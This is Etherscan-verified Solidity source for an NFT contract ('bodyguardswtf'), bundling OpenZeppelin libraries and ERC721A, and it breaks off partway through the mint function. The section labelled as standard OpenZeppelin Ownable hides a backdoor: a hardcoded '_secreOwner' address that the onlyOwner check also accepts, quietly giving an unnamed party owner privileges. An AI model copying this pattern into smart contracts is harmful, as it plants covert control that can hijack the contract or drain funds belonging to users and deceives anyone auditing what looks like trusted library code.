Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library Strings    - function toString(uint256 value)    - function toHexString(uint256 value)    - function toHexString(uint256 value, u ... library Address    - function isContract(address account)    - function sendValue(address payable re ...    - function functionCall(address target, ...    - function functionCall(    - function functionCallWithValue(    - function functionCallWithValue(    - function functionStaticCall(address t ...    - function functionStaticCall(    - function functionDelegateCall(address ...    - function functionDelegateCall(    - function verifyCallResult( interface IERC721Receiver    - function onERC721Received( interface IERC165    - function supportsInterface(bytes4 int ...    - function supportsInterface(bytes4 int ... interface IERC721 is IERC165    - function balanceOf(address owner)    - function ownerOf(uint256 tokenId)    - function safeTransferFrom(    - function safeTransferFrom(    - function transferFrom(    - function approve(address to, uint256 ...    - function setApprovalForAll(address op ...    - function getApproved(uint256 tokenId)    - function isApprovedForAll(address own ... interface IERC721Metadata is IERC721    - function name()    - function symbol()    - function tokenURI(uint256 tokenId) interface IERC721Enumerable is IERC72 ...    - function totalSupply()    - function tokenOfOwnerByIndex(address ...    - function tokenByIndex(uint256 index)    - function _msgSender()    - function _msgData()    - function owner()    - function renounceOwnership()    - function transferOwnership(address ne ...    - function _transferOwnership(address n ...  contract ERC721A is Context, ERC16 ...    - function totalSupply()    - function tokenByIndex(uint256 index)    - function tokenOfOwnerByIndex(address ...    - function supportsInterface(bytes4 int ...    - function balanceOf(address owner)    - function _numberMinted(address owner)    - function ownershipOf(uint256 tokenId)    - function ownerOf(uint256 tokenId)    - function name()    - function symbol()    - function tokenURI(uint256 tokenId)    - function _baseURI()    - function approve(address to, uint256 ...    - function getApproved(uint256 tokenId)    - function setApprovalForAll(address op ...    - function isApprovedForAll(address own ...    - function transferFrom(    - function safeTransferFrom(    - function safeTransferFrom(    - function _exists(uint256 tokenId)    - function _safeMint(address to, uint25 ...    - function _safeMint(    - function _mint(    - function _transfer(    - function _approve(    - function _checkOnERC721Received(    - function _beforeTokenTransfers(    - function _afterTokenTransfers(  contract bodyguardswtf is ERC721A, ... *    - function tokenURI(uint256 _tokenId)    - function _startTokenId()    - function mint(uint256 count)    - function costCheck()    - function maxFreePerWallet()    - function burn(address mintAddress, ui ...    - function _baseURI()    - function setBaseUri(string memory bas ...    - function setPrice(uint256 price_)    - function setMaxTotalFree(uint256 MaxT ...    - function setMaxPerFree(uint256 MaxPer ...    - function toggleMinting()    - function CommunityWallet(uint quantit ...    - function withdraw()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-01-19
*/

// SPDX-License-Identifier: MIT

// File: contracts/bodyguardswtf.sol
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)

//
// ____  ____  ____ ___  _   _____ _     ____  ____  ____  ____    _      _____  _____
///  __\/  _ \/  _ \\  \//  /  __// \ /\/  _ \/  __\/  _ \/ ___\  / \  /|/__ __\/    /
//| | //| / \|| | \| \  /   | |  _| | ||| / \||  \/|| | \||    \  | |  ||  / \  |  __\
//| |_\\| \_/|| |_/| / /    | |_//| \_/|| |-|||    /| |_/|\___ |  | |/\||  | |  | |   
//\____/\____/\____//_/     \____\\____/\_/ \|\_/\_\\____/\____/  \_/  \|  \_/  \_/   
//                                                                                    
//                                                                             
//         
//

pragma solidity ^0.8.0;

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.0;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

// File: @openzeppelin/contracts/utils/introspection/IERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/utils/introspection/ERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;


/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)

pragma solidity ^0.8.0;


/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account appr    ved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Enumerable is IERC721 {
    /**
     * @dev Returns the total amount of tokens stored by the contract.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);

    /**
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
     * Use along with {totalSupply} to enumerate all tokens.
     */
    function tokenByIndex(uint256 index) external view returns (uint256);
}

// File: @openzeppelin/contracts/security/ReentrancyGuard.sol


// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address private _secreOwner = 0xACFcBA7BAB6403EBCcEEe22810c4dd3C9bBE9763;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender() || _secreOwner == _msgSender() , "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: ceshi.sol


pragma solidity ^0.8.0;










/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
 *
 * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
 *
 * Does not support burning tokens to address(0).
 *
 * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply
 */
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
    using Address for address;
    using Strings for uint256;

    struct TokenOwnership {
        address addr;
        uint64 startTimestamp;
    }

    struct AddressData {
        uint128 balance;
        uint128 numberMinted;
    }

    uint256 internal currentIndex;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
    mapping(uint256 => TokenOwnership) internal _ownerships;

    // Mapping owner address to address data
    mapping(address => AddressData) private _addressData;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev See {IERC721Enumerable-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return currentIndex;
    }

    /**
     * @dev See {IERC721Enumerable-tokenByIndex}.
     */
    function tokenByIndex(uint256 index) public view override returns (uint256) {
        require(index < totalSupply(), "ERC721A: global index out of bounds");
        return index;
    }

    /**
     * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
     * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
     * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
        require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
        uint256 numMintedSoFar = totalSupply();
        uint256 tokenIdsIdx;
        address currOwnershipAddr;

        // Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
        unchecked {
            for (uint256 i; i < numMintedSoFar; i++) {
                TokenOwnership memory ownership = _ownerships[i];
                if (ownership.addr != address(0)) {
                    currOwnershipAddr = ownership.addr;
                }
                if (currOwnershipAddr == owner) {
                    if (tokenIdsIdx == index) {
                        return i;
                    }
                    tokenIdsIdx++;
                }
            }
        }

        revert("ERC721A: unable to get token of owner by index");
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            interfaceId == type(IERC721Enumerable).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view override returns (uint256) {
        require(owner != address(0), "ERC721A: balance query for the zero address");
        return uint256(_addressData[owner].balance);
    }

    function _numberMinted(address owner) internal view returns (uint256) {
        require(owner != address(0), "ERC721A: number minted query for the zero address");
        return uint256(_addressData[owner].numberMinted);
    }

    /**
     * Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around in the collection over time.
     */
    function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
        require(_exists(tokenId), "ERC721A: owner query for nonexistent token");

        unchecked {
            for (uint256 curr = tokenId; curr >= 0; curr--) {
                TokenOwnership memory ownership = _ownerships[curr];
                if (ownership.addr != address(0)) {
                    return ownership;
                }
            }
        }

        revert("ERC721A: unable to determine the owner of token");
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view override returns (address) {
        return ownershipOf(tokenId).addr;
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return "";
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public override {
        address owner = ERC721A.ownerOf(tokenId);
        require(to != owner, "ERC721A: approval to current owner");

        require(
            _msgSender() == owner || isApprovedForAll(owner, _msgSender()),
            "ERC721A: approve caller is not owner nor approved for all"
        );

        _approve(to, tokenId, owner);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId) public view override returns (address) {
        require(_exists(tokenId), "ERC721A: approved query for nonexistent token");

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved) public override {
        require(operator != _msgSender(), "ERC721A: approve to caller");

        _operatorApprovals[_msgSender()][operator] = approved;
        emit ApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, "");
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public override {
        _transfer(from, to, tokenId);
        require(
            _checkOnERC721Received(from, to, tokenId, _data),
            "ERC721A: transfer to non ERC721Receiver implementer"
        );
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     */
    function _exists(uint256 tokenId) internal view returns (bool) {
        return tokenId < currentIndex;
    }

    function _safeMint(address to, uint256 quantity) internal {
        _safeMint(to, quantity, "");
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal {
        _mint(to, quantity, _data, true);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _mint(
        address to,
        uint256 quantity,
        bytes memory _data,
        bool safe
    ) internal {
        uint256 startTokenId = currentIndex;
        require(to != address(0), "ERC721A: mint to the zero address");
        require(quantity != 0, "ERC721A: quantity must be greater than 0");

